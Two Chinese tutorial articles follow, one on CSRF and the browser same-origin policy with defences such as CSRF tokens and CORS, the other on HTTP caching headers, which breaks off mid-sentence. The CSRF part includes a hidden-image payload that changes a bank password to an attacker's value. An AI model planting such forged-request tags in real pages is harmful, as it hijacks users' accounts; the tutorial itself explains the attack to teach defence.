CSRF攻击?同源策略会出手的CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种利用Web应用程序中的信任关系的攻击方式,攻击者通过某些方式(例如社交媒体、广告等)诱骗受害者访问恶意网站,恶意网站利用受害者在其他网站已登录的身份信息隐式发送敏感操作的请求,由于该受害者已登录该网站因此该请求则会自动携带该用户的身份信息,由于身份信息正确服务器也会执行相应的敏感操作,这样受害者在访问浏览恶意网站时并不需要任何操作,神不知鬼不觉的情况下就被攻击了,执行了恶意操作。具体我们看下面的例子(该例子先假设不存在同源策略):用户利用网页登录了他们的电子银行账户并保留了有效的会话,此时用户被引导进入了一个恶意网站,该恶意网站利用用户已登录的身份信息向电子银行后台发起了一个转账请求,由于该用户已登录并保留了有效的会话,因此该请求将携带该用户的身份信息发送到服务器,由于身份信息有效,服务器便信任并处理这个请求,就这样这笔转账在神不知鬼不觉完成了。从上述例子我们可以看到CSRF攻击危害性极大,并且极其隐蔽,但幸运的是由于各种原因(主要是下面讲的同源策略)的存在,这种攻击是很难发起和进行的,因此不必太担心。如果您觉得上述例子还不太直观,您可以访问这个例子感受一下具体攻击(本攻击并不会造成伤害请放心访问),该例子的攻击虽然不是CSRF攻击(CSRF攻击太难发起了),但它与CSRF攻击很相似,甚至CSRF攻击会比该例子中的攻击更为严重,因为上述攻击还需要你点击操作,而CSRF攻击则是无需任何操作。其实想要防护该攻击的手段非常简单,因为恶意网站的域名肯定与想要攻击的域名不一样,例如上述例子中恶意网站的域名可能为www.eyiwangzhan.com,而电子银行的域名肯定与它不同,因此浏览器仅需限制不同域名间的网站不能发起请求就可以防止该种攻击,这也是大名鼎鼎的同源策略!同源策略同源策略 (Same Origin Policy,简称SOP)是一种内置于 Web 浏览器中的 Web 安全机制,它用于限制一个源的文档或者它加载的脚本如何能与另一个源的资源进行交互,它影响着网站相互访问的方式。 同源策略的主要目的是确保在Web浏览器中,来自不同源的网页或脚本不能随意访问和操纵其他源的资源和数据,确保网站只能在受信任的环境中访问和共享数据,以增强用户的隐私,防止恶意攻击,并确保Web应用程序的数据安全性,同源策略的存在有效的防止了CSRF攻击。 SOP 不需要手动配置,它会在每个支持它的浏览器中自动启用。同源策略经常与内容安全策略混淆,区别在于,内容安全策略阻止对外部资源的调用(出站),而同源策略则阻止来自外部资源的引用(入站)。此外,内容安全策略默认情况下不启用,必须由开发人员定义。什么是同源?同源(Same-Origin)是一个网络安全概念,用于描述Web页面中不同资源的来源是否相同。具体来说,当资源地址与网站地址的协议、域名以及端口号完全相同时,则可以说该资源是同源的;如果三者有任一不同,该资源则是跨域的。例如,网站为:wangjunliang.com,以下是一些同源和跨源的示例:URL结果原因wangjunliang.com/HTTP-Explan…同源只是路径不同wangjunliang.com/HTML-Guide/…同源只是路径不同wangjunliang.com跨域协议不同wangawang.com跨域域名不同wangjunliang.com:8932跨域端口号不同继承源在页面中通过 about:blank 或 javascript: URL 执行的脚本会继承打开该 URL 的文档的源,从而允许访问该文档的 DOM,因为这些类型的 URL 没有包含源服务器的相关信息。以下为一个具体示例<a href="about:blank" onclick="openBlankPage(); return false;">使用 about:blank</a> <a href="javascript: executeScript();">使用 javascript:</a> <script> function openBlankPage() { const newWindow = window.open('about:blank', 'BlankPage', 'width=400,height=300'); if (newWindow) { newWindow.document.write('<h1>这是新页面的内容</h1>'); newWindow.document.close(); } else { alert('弹窗被阻止,请允许此网站弹出窗口。'); } } function executeScript() { // 在当前文档中执行脚本 const paragraph = document.createElement('p'); paragraph.textContent = '通过 javascript: URL 执行的脚本'; document.body.appendChild(paragraph); alert('通过 javascript: URL 执行的脚本,可以访问当前文档的 DOM。'); } </script>该示例中有两个链接:一个使用 about:blank 打开一个新的浏览器窗口,另一个使用 javascript: 执行脚本。点击任何一个链接都会执行相应的操作并会继承打开该 URL 的文档的源,可以访问当前文档的 DOM。修改源当web的源为某一网站的子域名时,两网站可通过修改document.domain的值为父域名,使之变为同源。例如下面的例子:// 网站1的源为:https://wangjunliang.com 修改其document.domain的值为父域名 document.domain='wangjunliang.com' // 网站2的源为:https://other.wangjunliang.com 修改其document.domain的值为父域名 document.domain='wangjunliang.com' // 此时两网站则变为了同源任何对 document.domain 的赋值操作,包括 document.domain = document.domain 都会导致端口号被覆盖为 null 。因此 other.wangjunliang.com 不能仅通过设置 document.domain = "wangjunliang.com" 来与wangjunliang.com 通信。必须在它们双方中都进行赋值,以确保端口号都为 null 。同源策略的约束同源策略是浏览器的一个关键安全策略,它限制了网页中的某些内容在不同来源之间的交互。以下是受同源策略限制与不受限制的内容:受限制的内容:· XHR/Fetch 请求: 使用 XMLHttpRequest(XHR)对象或 Fetch API 发起的跨域请求通常会受到同源策略的限制。浏览器会阻止页面从不同源的服务器获取数据,除非服务器明确启用了跨域资源共享(CORS)。Cookie 和本地存储: 同源策略限制了网页对不同源的 Cookie 和本地存储(如localStorage和sessionStorage)的访问。只有在同一源内的页面才能访问相同的 Cookie 和本地存储。DOM 访问: 网页的 JavaScript 通常只能访问与自己来源相同的文档对象模型(DOM)。这意味着脚本不能直接访问其他源的文档元素,如iframe中的内容。iframe 访问: 同源策略限制了页面嵌套在iframe中的内容与包含iframe的页面之间的交互,除非通过特殊的设置允许。WebSocket 连接: WebSocket 连接的初始握手通常受到同源策略的限制,但一旦建立连接,数据的传输不再受到同源策略的影响。字体资源(Fonts): 同源策略通常也会对字体资源(如WOFF、TTF等字体文件)的跨域访问进行限制。这意味着在默认情况下,从不同源加载的字体资源可能无法在页面中正常渲染。为了允许跨域字体加载,服务器可以通过配置跨域资源共享(CORS)来明确允许特定来源的页面访问字体资源。嵌入的对象(Embedded Objects): 同源策略通常限制了页面中嵌入的对象(如嵌入的 PDF 文件、嵌入的音视频等)与包含它们的页面之间的交互。这些对象需要与其所在页面具有相同的源,或者通过服务器配置允许特定来源的页面访问。不受限制的内容:· CSS: 同源策略通常不影响页面的样式表(CSS),可以从任何源加载样式。· 图片、音频和视频: 加载的图片、音频和视频文件通常不受同源策略限制,可以从任何源加载。· script 标签引入的外部脚本: 使用 <script> 标签引入的外部脚本通常不受同源策略的限制,可以从任何源加载并执行。· 链接跳转和资源下载: 可以通过链接跳转(例如点击超链接)和下载资源(例如点击下载链接)的方式访问不同源的内容,但这些操作会导致浏览器向不同源的服务器发起新的请求。跨源访问同源策略增强了Web的安全性,但也随之带来了许多开发上的问题与麻烦,特别是当我们需要在与不同源(不同域名、不同协议、不同端口)的资源进行通信和访问时尤为明显。不过好在针对这些问题,同源策略也做出了许多扩展和适应。跨源网络访问跨源网络访问是指在Web开发中需要从一个源(例如一个域名)访问另一个不同源的网络资源,如从一个不同的域名或端口请求数据或资源。由于同源策略的限制,XHR/Fetch直接进行跨源网络访问通常会受到限制。以下是一些跨源网络访问的问题和解决方法:代理:通过创建同源的代理的方式,将跨源请求从客户端发送到同源的代理,然后再由代理发送到目标服务器。这样,浏览器只会看到与自己源相同的请求,从而绕过了同源策略的限制。JSONP:JSONP通过动态创建<script>元素,将回调函数包装在请求中,以获取跨源数据。由于script 标签引入的外部脚本并不受同源策略的限制因此该方案能够实现跨源访问,但使用该方法要小心安全问题,因为 JSONP 可能存在潜在的XSS风险。<script src="https://api.example.com/data?callback=processData"></script>CORS(跨源资源共享):CORS 是一种用于解决跨源网络访问问题的标准化机制。服务器可以通过设置HTTP响应头来明确指定哪些域名的网页可以访问其资源。这样,只有被授权的域名才能够进行跨源访问。跨源脚本API访问JavaScript 的 API 中,如 iframe.contentWindow、 window.parent、window.open 和 window.opener 允许文档间直接相互引用。当两个文档的源不同时,引用这些方式将存在一些限制,如下所述:Window允许以下对 Window 属性的跨源访问:某些浏览器允许访问除上述外更多的属性。Location允许以下对 Location 属性的跨源访问: 跨源数据存储访问访问存储在浏览器中的数据,如 Web Storage 和 IndexedDB,是以源进行分割的。每个源都拥有自己单独的存储空间,一个源中的 JavaScript 脚本不能对属于其他源的数据进行读写操作。Cookie使用不同的源定义方式。一个页面可以为本域和其父域设置 cookie,只要是父域不是公共后缀(public suffix)即可。Firefox 和 Chrome 使用 Public Suffix List 检测一个域是否是公共后缀。当你设置 cookie 时,你可以使用 Domain、Path、Secure 和 HttpOnly 标记来限定可访问性。当你读取 cookie 时,你无法知道它是在哪里被设置的。即使只使用安全的 https 连接,你所看到的任何 cookie 都有可能是使用不安全的连接进行设置的。同源策略也不能完全阻止CSRF攻击同源策略确实能够有效防止CSRF攻击,但它并不能完全阻止,这是因为以下两点原因:存在不受同源策略限制的内容: 同源策略主要用于限制不同域下的网页之间的交互。然而,一些HTML标签如<img>、<video>等以及一些资源文件(如图片、视频、音频等)不受同源策略的限制,它们可以从不同域加载并在当前页面中展示。这意味着攻击者可以通过构建恶意图片或视频的请求,来触发CSRF攻击,尤其当用户在登录状态下访问恶意网站时,攻击可能成功。我们可以看一个具体案例:攻击者构造了一个恶意网站,并通过构造一个图片的请求来触发CSRF攻击<img src="https://bank.com/change-password?newPassword=hackerPassword" width="0" height="0">用户在访问恶意网站时,浏览器会尝试加载一个图像资源,即银行网站上更改密码的请求,其中包含了新密码参数。因为图片请求不受同源策略的限制,浏览器会自动将用户的当前会话凭证(如cookies)发送到银行网站,以执行更改密码请求。如果用户已经登录到银行网站,他们的密码可能会被更改为"hackePassword",而用户可能不会察觉到这一变化。存在JSONP等跨源访问手段: JSONP(JSON with Padding)是一种跨源访问手段,它允许在浏览器中加载来自不同域的数据,它在早期的网络应用中很常见。攻击者可以利用这种机制来发起CSRF攻击,通过向目标网站发送JSONP请求,以触发未经授权的操作。为了有效地防止CSRF攻击,我们仍需要采取其他额外的措施,如:使用CSRF令牌: 在每个敏感操作的请求中包含一个随机生成的CSRF令牌,该令牌只有在请求发起页面和接收页面具有相同的令牌时,请求才会被接受。这可以确保只有合法的请求才能成功。检查Referer头: 服务器可以检查HTTP请求头中的Referer字段,以确保请求来自期望的来源。然而,这种方法并不总是可靠,因为Referer字段可能被篡改或缺失。使用合理的请求方式: 由于获取资源等不被同源策略限制的请求通常是Get方法,因此我们应当合理定义敏感操作的请求方法(如:Post等),即可规避利用该方法发起的CSRF攻击慎用JSONP等跨源访问手段,改用CORS: JSONP(JSON with Padding)是一种跨源访问手段,它允许在浏览器中加载来自不同域的数据,它在早期的网络应用中很常见。攻击者可以利用这种机制来发起CSRF攻击,通过向目标网站发送JSONP请求,以触发未经授权的操作。CORS 是一种用于解决跨源网络访问问题的标准化机制。服务器可以通过设置HTTP响应头来明确指定哪些域名的网页可以访问其资源。这样,只有被授权的域名才能够进行跨源访问。同源策略的合理利用: 尽量在应用中合理利用同源策略,将敏感操作限制在同一域内进行,从而降低跨域请求的风险。
0
0
0
浏览量836
爱喝奶茶的波波

【HTTP完全注解】看了还搞不懂缓存你直接来打我

HTTP缓存HTTP缓存是一种HTTP的性能优化机制,它是为了提高Web页面加载速度和减轻服务器负载而设计的,通过这种机制,Web浏览器或其他客户端可以存储先前获取的Web资源的副本,并在后续请求相同资源时使用这些副本,而不是再次从服务器请求。 通过使用HTTP缓存,可以减少对服务器的请求次数,这有助于减少请求的网络延迟、提高网页加载速度、降低服务器负载,以及减少网络流量。缓存的分类在 HTTP Caching 标准中,有两种不同类型的缓存:私有缓存和共享缓存:私有缓存:绑定到特定客户端的缓存——通常是浏览器缓存,由于存储的响应不与其他客户端共享,因此私有缓存可以存储该用户的个性化响应。公有缓存:位于客户端和服务器之间的缓存——通常是代理服务器缓存、CDN以及反向代理等,存储的缓存能被所有用户共享。缓存的工作流程HTTP缓存运行主要依赖服务端设置Cache-Control、Etag、Age、Expires以及Vary等响应标头来指定相应的缓存策略,客户端通过自动携带If-Modified-Since 、 If-None-Match 等请求标头来验证缓存的有效性。由于客户端的相关请求标头都是自动携带的,因此缓存的配置通常只发生在服务端,具体工作流程如下:客户端首次请求:当浏览器需要获取一个Web资源(例如HTML文档、图像、CSS文件等)时,它向服务器发送一个HTTP请求。服务端携带缓存策略返回响应:服务器收到请求后,会返回所请求资源的响应,该响应中包含了与缓存相关的信息,如:使用Cache-Control指定的缓存策略,使用age,Expires,max-age控制缓存时间,ETag控制缓存版本,vary控制缓存的位置等客户端再次请求相同资源:客户端再次请求相关资源,浏览器会首先检查本地缓存,看是否已经有了所请求资源的副本。如果有缓存且o 缓存有效(根据服务端设置的缓存策略来判断):浏览器可以直接从缓存中获取资源,无需再次向服务器发起请求。o 缓存无效:但缓存策略中具有ETag或Last-Modified等验证信息,浏览器可以通过条件请求(携带If-Modified-Since 、 If-None-Match 等请求标头)向服务器发起验证请求。服务器根据验证信息判断资源是否已经发生变化,如果没有变化,服务器将会返回一个304 Not Modified响应,告诉浏览器资源没有发送变化,可以使用缓存中的副本,此时客户端则会直接从缓存中获取资源。如果缓存无效或没有缓存,或者服务器返回了新的资源,浏览器会获取服务器的最新副本,并将其存储在缓存中。私有缓存与共享缓存上文介绍了缓存分为了私有缓存与共享缓存,私有缓存是绑定到特定客户端的缓存——通常是浏览器缓存,由于存储的响应不与其他客户端共享,因此私有缓存可以存储该用户的个性化响应;而共享缓存则是位于客户端和服务器之间的缓存——通常是代理服务器缓存、CDN以及反向代理等,存储的缓存能被所有用户共享。如何设置缓存为私有缓存还是共享缓存呢?答案是设置Cache-Control,当把Cache-Control设置为private则为私有缓存,此时响应仅会存储在特定的客户端缓存中;当把Cache-Control设置为public并携带了s-maxage参数(例如:s-maxage=3600)则为共享缓存,此时响应仅会存储在客户端和服务器之间的缓存中。Cache-Control: private //设置缓存为私有缓存 Cache-Control: public, s-maxage=3600 //设置缓存为共享缓存值得注意的是,如果仅是把Cache-Control设置为public但不携带s-maxage参数,则表示响应可以被任何对象缓存,即使是通常不可缓存的内容,比如携带了Authorization 标头的响应通常是不能被存储的,但指定了public则可被存储。这也意味着无论是私有缓存或是共享缓存都会存储任何响应。Cache-Control:public //意味着缓存是公开的,且可以由任何缓存存储和共享,无论是私有缓存还是公共缓存。Cache-Control的默认行为也是比较特殊的,对于没有明确设置 Cache-Control 的响应,其行为与将Cache-Control 设置为public相似,它可以被私有缓存或是共享缓存存储,但它又与public不同,一些存在特殊标头的响应不会被存储,例如携带了Authorization 标头的响应不会被存储。控制缓存时间HTTP缓存提供了两种方式来控制缓存的有效时间:Expires、max-age。ExpiresExpires 响应标头使用绝对时间来指定缓存的生命周期,如下所示:Expires: Tue, 28 Feb 2022 22:22:22 GMT //指定缓存2022年2月28日星期二22:22:22 过期使用Expires 响应标头控制缓存时间存在很多问题——时间格式难以解析,并且判断缓存是否过期是根据客户端时间来计算的,这也就意味着用户可以通过更改客户端时间来使得缓存延期! 如下所示:Expires: Tue, 28 Feb 2022 22:22:22 GMT //指定缓存2022年2月28日星期二22:22:22 过期 // 用户将客户端时间从2022年2月29日更改为了2022年2月27日 // 原本过期的缓存变为了有效max-age针对该问题,在 HTTP/1.1 中,Cache-Control 采用了 max-age来控制缓存的有效时间。max-age通过指定缓存经过多少秒后(相对于请求的时间)过期来规定其生命周期,如下所示:Cache-Control: max-age=604800 //指定缓存经过604800秒(一周)后过期当响应存储在共享缓存中时,还有必要返回Age响应标头,说明该缓存已在共享缓存中缓存了多长时间,此时客户端的缓存有效时间则为max-age减去Age。// 共享缓存返回如下响应 Cache-Control: max-age=604800 //指定缓存经过604800秒(一周)后过期 Age: 86400 //该缓存已在共享缓存中存储了86400秒(一天) // 客户端缓存的有效时间则为:604800-86400=518400(六天)s-maxage与max-age的功能完全一致,只不过指定了s-maxage的响应仅会存放在共享缓存中,并不会存放在私有缓存中,且会覆盖max-age或者Expires头。控制缓存存放位置缓存的存放位置本质上是基于URL的,对于不同URL的响应内容,缓存将会单独存放:但即使是相同的URL,有时响应的内容并不总是相同,特别是使用 Accept、Accept-Language 和 Accept-Encoding 等请求标头进行内容协商时。例如,对于带有 Accept-Language: en 标头并已缓存的英语内容,不希望再对具有 Accept-Language: ja 请求标头的请求重用该缓存响应。在这种情况下,你可以通过在 Vary 标头的值中添加“Accept-Language”,根据语言单独缓存响应。Vary: Accept-Language这会导致缓存基于响应 URL 和 Accept-Language请求标头的组合进行键控——而不是仅仅基于响应 URL。验证过期缓存HTTP 缓存有一种机制,对于指定了资源更改时间(Last-Modified)或版本号(ETag )的过期的缓存并不会立即被丢弃,在客户端再次请求该内容时会先发起请求询问服务端缓存内容是否已更新,如果内容已更新则返回新的内容,如果未更新则直接拿取缓存中过期的内容使用即可。这种通过询问源服务器将陈旧的响应转换为新的响应被称为验证,有时也被称为重新验证,这种机制的存在避免了重新传输相同的资源,提高性能并减少带宽消耗。验证有两种方式,一种是基于时间(Last-Modified/If-Modified-Since)的验证,另一种则是基于版本(ETag/If-None-Match)的验证。基于时间的验证——Last-Modified/If-Modified-Since当客户端首次请求资源时,服务器的响应会携带Last-Modified响应标头来表明请求资源最后被修改的时间,通常情况下,服务器会根据文件系统中资源的最后修改时间自动设置这个标头。 如下所示:HTTP/1.1 200 OK Last-Modified: Tue, 22 Feb 2022 22:00:00 GMT Cache-Control: max-age=3600 ........客户端收到响应后会将这个时间存储起来,并把响应存入缓存中。当存储的响应过期失效,此时过期的缓存并不会立即被丢弃,当客户端再次请求资源时,它会自动在请求头中包含一个If-Modified-Since请求标头,该标头的值则为资源最后被修改的时间(上述响应中Last-Modified的值),如下所示:GET /index.html HTTP/1.1 If-Modified-Since: Tue, 22 Feb 2022 22:00:00 GMT ......服务器收到该请求后会比较这个时间戳与当前资源的最后修改时间。如果内容自指定时间以来没有更改,服务器将响应 304 Not Modified,告诉客户端可以直接使用过期的缓存,客户端收到此响应后会直接拿取过期缓存内容使用,并根据响应的缓存配置重新刷新过期缓存的状态。如果请求资源发生了更改,服务器将返回新的资源。基于时间的验证虽然避免了重新传输相同的资源的问题,但它也存在诸多问题:时钟同步问题: 基于时间的验证的前提条件是服务器和客户端的时钟是同步的。如果两者的时钟存在差异,可能会导致验证失败。这种情况下,服务器认为资源已经过期,但实际上客户端的时钟比服务器快或慢,导致了不必要的资源传输。时间精度问题: 时间戳通常只有秒级别的精度,这可能导致在某些情况下无法检测到资源的真正修改。如果两次修改之间的时间间隔很短,可能无法捕捉到变化。服务器时钟回退: 如果服务器的时钟回退(例如,由于时钟同步服务的干预),可能会导致客户端认为资源已经过期,尽管实际上它仍然是最新的。不适合不稳定的资源: 对于频繁更新的资源,基于时间的验证可能会导致较高的带宽消耗,因为客户端可能会在资源实际发生变化之前多次发起验证请求。资源未被修改但最后修改时间已变: 有时资源的内容并没有实际修改,但由于某些原因,最后修改时间被更新了。这可能导致不必要的资源传输。为了解决这些问题,HTTP缓存推出了基于版本的验证作为替代方案。基于版本的验证——ETag/If-None-Match当客户端首次请求资源时,服务器的响应会携带ETag响应标头来表明请求资源的版本,该标头的值是服务器生成的任意值,因此服务器可以根据他们选择的任何方式自由设置值——例如主体内容的哈希或版本号,如下所示:HTTP/1.1 200 OK ETag: "deadbeef" Cache-Control: max-age=3600 ........客户端收到响应后会ETag的值存储起来,并把响应存入缓存中。当存储的响应过期失效,此时过期的缓存并不会立即被丢弃,当客户端再次请求资源时,它会自动在请求头中包含一个If-None-Match请求标头,该标头的值则为资源的版本号(上述响应中ETag的值),如下所示:GET /index.html HTTP/1.1 If-None-Match: "deadbeef" ......服务器收到该请求后会比较请求中的 If-None-Match 值与当前资源版本号是否相同,如果当前资源版本号与请求中的 If-None-Match 值相同,则服务器将返回 304 Not Modified,告诉客户端可以直接使用过期的缓存,客户端收到此响应后会直接拿取过期缓存内容使用,并根据响应的缓存配置重新刷新过期缓存的状态。如果当前资源版本号与请求中的 If-None-Match 值不同,则服务器将会使用 200 OK 和资源的最新版本进行响应。强制重新验证如果你希望即使是未过期的缓存也要重新验证,想要始终从服务器获取最新的内容,那么你可以在响应标头中添加Cache-Control: no-cache或Cache-Control: max-age=0, must-revalidate。max-age=0 意味着响应立即过时,而 must-revalidate 意味着缓存一旦过时就不能在没有重新验证的情况下重用它,因此两者结合起来,语义与 no-cache 相同。强制重新验证的流程与验证过期缓存一致,只不过一个针对未过期的缓存,一个是针对已过期的缓存。当然与验证过期缓存一样响应必须携带Last-Modified(资源更改时间)或ETag( 版本号)才能走验证流程。强制重新验证示例Last-Modified: Tue, 22 Feb 2022 22:00:00 GMT ETag: deadbeef Cache-Control: no-cache // 或 Last-Modified: Tue, 22 Feb 2022 22:00:00 GMT ETag: deadbeef Cache-Control: max-age=0, must-revalidate不使用缓存如果你不想使用缓存,不希望将响应存储在任何缓存中,可以通过在响应标头中添加Cache-Control: no-cache来实现。需要注意的是指定该指令只会阻止存储响应,但不会删除相同 URL 的任何已存储响应,也就是说如果已经为特定 URL 存储了旧响应,则返回 no-store 不会阻止旧响应被重用。不使用缓存示例Cache-Control: no-store无法删除以及重新验证的缓存对于指定了很长过期时间(max-age)且没有指定强制重新验证的缓存,基本上没有什么办法删除以及重新验证该缓存!比如下述例子:HTTP/1.1 200 OK Cache-Control: max-age=31536000 //指定缓存有效期为1年该例子将缓存有效期指定为了1年,在这1年的时间里,由于缓存的存在并且没有指定强制重新验证,因此对于该资源的请求将不会到达服务器。除非用户手动执行重新加载、强制重新加载或清除历史操作,不然则无法删除以及重新验证该缓存。这个例子告诉我们,虽然缓存减少了对服务器的访问,但这也意味着服务器失去了对该 URL 的控制。如果服务器不想失去对 URL 的控制,你应该添加 no-cache,以便服务器始终接收请求并发送预期的响应。请求折叠共享缓存主要位于源服务器之前,旨在减少到源服务器的流量。但共享缓存存在一个问题——多个相同的请求同时到达共享缓存时,共享缓存只会把其中一个请求转发到源服务器,并且共享缓存收到源服务器响应后会将响应重用于所有请求,这称为请求折叠。当请求同时到达共享缓存会发生请求折叠,即使响应中给出了 max-age=0 或 no-cache,它也会被重用。因此如果响应是针对特定用户个性化的,并且你不希望它在折叠中共享,应该使用私有缓存,在响应中添加 private 指令。可被缓存的请求方法HTTP协议定义了一些请求方法,其中一些方法通常可以被缓存。 可被缓存的请求方法是那些在满足特定条件下,可以被缓存代理服务器(如HTTP缓存)缓存的方法。以下是常见的能否被缓存的HTTP请求方法:GET、HEAD和OPTIONS方法: GET、HEAD和OPTIONS方法通常被认为是可缓存的,因为它们是幂等且安全的,而且不会改变服务器状态。这意味着代理服务器可以缓存它们的响应,以提高性能并减轻服务器负载。POST和PATCH方法:POST和PATCH方法的响应通常不会被缓存 ,因为它们通常用于向服务器提交数据,可能会改变服务器状态。然而,如果响应中指定了有效期(例如,通过Cache-Control头部)并设置了Content-Location头部,那么它们的响应可以被缓存。这种情况下,缓存代理服务器可以将响应缓存,并在之后的请求中使用。但这种情况下的缓存行为在实际应用中相对较少见,并且有些浏览器并不支持(例如Firefox 就不支持它Firefox bug 109553),因此通常不鼓励缓存POST请求的响应。PUT和DELETE方法: PUT 和 DELETE 方法的响应通常不会被缓存,即使设置了有效期(通过Cache-Control头部)和Content-Location标头。这是因为这两个请求方法通常用于对资源进行修改或删除,可能会改变服务器的状态,因此响应不适合被缓存。CONNECT 方法:CONNECT 方法的响应通常不会被缓存 ,即使设置了有效期(通过Cache-Control头部)和Content-Location标头。CONNECT 方法用于建立网络连接,通常用于代理服务器。由于 CONNECT 方法的目的是在客户端和目标服务器之间建立连接,而不是获取资源,所以 CONNECT 方法的响应通常不会被缓存。代理服务器通常不会缓存 CONNECT 方法的响应,因为它们不包含可被缓存的资源数据。TRACE 方法:TRACE 方法的响应通常不会被缓存 ,即使设置了有效期(通过Cache-Control头部)和Content-Location标头。TRACE 方法用于在目标服务器上执行一个诊断测试,它返回由服务器收到的请求的副本。由于 TRACE 方法的主要目的是用于诊断和调试,而不是对服务器上的资源进行修改,因此 TRACE 方法的响应通常不会被缓存。代理服务器通常不会缓存 TRACE 方法的响应,因为这些响应只包含请求的副本,不包含可被缓存的资源数据。能否缓存请求方法可被缓存GET、HEAD、OPTIONS可被缓存,但不鼓励且支持少POST、PATCH不可被缓存PUT、DELETE、CONNECT、TRACE相关标头Cache-Control 通用标头通用标头Cache-Control 通常是由服务器在响应头中设置,配置缓存策略以指导客户端和中间缓存服务器如何处理响应的缓存。然而,在某些情况下,客户端也可以在请求头中使用 Cache-Control 标头,以向服务器传达有关请求的缓存期望。参数<cache-model> 可选    指定缓存的模式,可选的属性值有:        o public:表明响应可以被任何对象(无论是私有缓存还是共享缓存)存储,即使是通常不可缓存的内容,比如携带了Authorization 标头的响应通常是不能被存储的,但指定了public则可被存储。注意该指令并不是指定缓存为共享缓存!        o private:指定缓存为私有缓存,表明响应只能被客户端缓存存储        o no-cache:指定缓存强制重新验证,也就是说即使是未过期的缓存也要重新验证,始终从服务器获取最新的内容。注意该指令不会阻止响应的存储,而是阻止在没有重新验证的情况下重用响应。        o no-store:指定不使用缓存,也就是说不存储有关客户端请求或服务器响应的任何内容,即不使用任何缓存。注意该指令只会阻止存储响应,但不会删除相同 URL 的任何已存储响应,也就是说如果已经为特定 URL 存储了旧响应,则返回 no-store 不会阻止旧响应被重用。max-age=<seconds> 可选    指定缓存经过多少秒后(相对于请求的时间)过期s-maxage=<seconds> 可选    指定缓存经过多少秒后(相对于请求的时间)过期,s-maxage与max-age的功能完全一致,只不过s-maxage仅适用于共享缓存 ,私有缓存会忽略它。max-stale=<seconds> 可选    表明客户端愿意接收一个已经过期的资源。可以设置一个可选的秒数,表示响应不能已经过时超过该给定的时间。min-fresh=<seconds> 可选    表示客户端希望获取一个能在指定的秒数内保持其最新状态的响应。stale-while-revalidate=<seconds> 可选 实验性    表明客户端愿意接受陈旧的响应,同时在后台异步检查新的响应。秒值指示客户愿意接受陈旧响应的时间长度。stale-if-error=<seconds> 可选 实验性    表示如果新的检查失败,则客户愿意接受陈旧的响应。秒数值表示客户在初始到期后愿意接受陈旧响应的时间。must-revalidate 可选    一旦缓存过期(比如已经超过max-age),在成功向原始服务器验证之前,不是使用该缓存。proxy-revalidate 可选    与 must-revalidate 作用相同,但它仅适用于共享缓存(例如代理),并被私有缓存忽略。immutable 可选    表示响应的内容永远不会发生更改,请谨慎使用该头,因为这可能会导致无法删除以及重新验证缓存。no-transform 可选    不得对资源进行转换或转变。Content-Encoding、Content-Range、Content-Type等 HTTP 头不能由代理修改。例如,非透明代理或者如Google's Light Mode可能对图像格式进行转换,以便节省缓存空间或者减少缓慢链路上的流量。no-transform指令不允许这样做。only-if-cached 可选    表明客户端只接受已缓存的响应,并且不要向原始服务器检查是否有更新的拷贝。示例Cache-Control: no-store //不使用缓存 Cache-Control:public, s-maxage=31536000 // 仅允许共享缓存存储响应 Cache-Control: no-cache //指定强制重新验证Expires 响应标头响应标头Expires 通过使用绝对时间来指定缓存的的过期时间参数该响应标头并无其他参数取值<date>    指定一个绝对时间表明缓存的过期时间示例Expires: Wed, 21 Oct 2015 07:28:00 GMTVary 响应标头响应标头Vary通过指定一系列的请求标头,使得缓存的存放位置不再仅基于响应URL,而是与指定的请求标头进行组合键控。参数该响应标头并无其他参数取值*    指定与任何请求头字段进行组合键控。<heder-name,heder-name, heder-name,.......>    请求标头列表,用逗号(', ')隔开,指定与相关请求标头进行组合键控。示例Vary: Accept-Language Vary: Accept-Language,User-AgentLast-Modified 响应标头响应标头Last-Modified指定了响应的资源最后被修改的时间,通常情况下,服务器会根据文件系统中资源的最后修改时间自动设置这个标头。参数该响应标头并无其他参数。取值<date>    一个绝对时间,指定响应的资源最后被修改的时间。示例Last-Modified: Wed, 21 Oct 2015 07:28:00 GMTIf-Modified-Since 请求标头请求标头If-Modified-Since指定了一个绝对时间,表示在缓存中过期的响应内容的最后修改时间,携带该标头希望服务器检查该响应是否在指定的修改时间之后发生过更改,能否继续使用该过期的内容。 该头通常是由浏览器在发起 GET 请求时自动携带的,其值为缓存的过期响应中 Last-Modified 的值。参数该请求标头并无其他参数。取值<date>    一个绝对时间,表示在缓存中过期的响应内容的最后修改时间。示例If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMTETag 响应标头响应标头ETag指定了一个版本号,表明响应的资源的版本,该标头的值是服务器生成的任意值,因此服务器可以根据他们选择的任何方式自由设置值——例如主体内容的哈希或版本号。参数W/ 可选    'W/'(大小写敏感) 表示使用弱验证器。弱验证器很容易生成,但不利于比较。强验证器是比较的理想选择,但很难有效地生成。相同资源的两个弱Etag值可能语义等同,但不是每个字节都相同。<etag_value>    指定一个版本号,没有明确指定生成 ETag 值的方法。通常,使用内容的散列,最后修改时间戳的哈希值,或简单地使用版本号。例如,MDN 使用 wiki 内容的十六进制数字的哈希值。示例ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" ETag: W/"0815"If-None-Match 请求标头请求标头If-None-Match指定了一个版本号,携带该标头希望服务器检查资源是否与给定版本号匹配,如果匹配,则返回状态码 304 Not Modified,表示资源没有变化,客户端可以继续使用缓存过期的版本。 该头通常是由浏览器在发起 GET 请求时自动携带的,其值为缓存的过期响应中 ETag 的值。参数该请求标头并无其他参数。取值W/ 可选    'W/'(大小写敏感) 表示使用弱验证器。弱验证器很容易生成,但不利于比较。强验证器是比较的理想选择,但很难有效地生成。相同资源的两个弱Etag值可能语义等同,但不是每个字节都相同。<etag_value>    指定一个版本号,表示希望服务器检查资源是否与给定版本号匹配。* 可选    星号是一个特殊值,可以代表任意资源。它只用在进行资源上传时,通常是采用 PUT 方法,来检测拥有相同识别 ID 的资源是否已经上传过了。示例If-None-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d" If-None-Match: W/"67ab43", "54ed21", "7892dd" If-None-Match: *常见的缓存模式启发式缓存:当响应没有给出 Cache-Control,但响应中包含了Last-Modified以及Expires标头,响应也会被存储和重用,缓存的时间取决于实现,但规范建议存储后大约 10%的时间,这称为启发式缓存。零缓存:顾名思义是一种禁止对资源进行缓存的策略,通过使用Cache-Control: 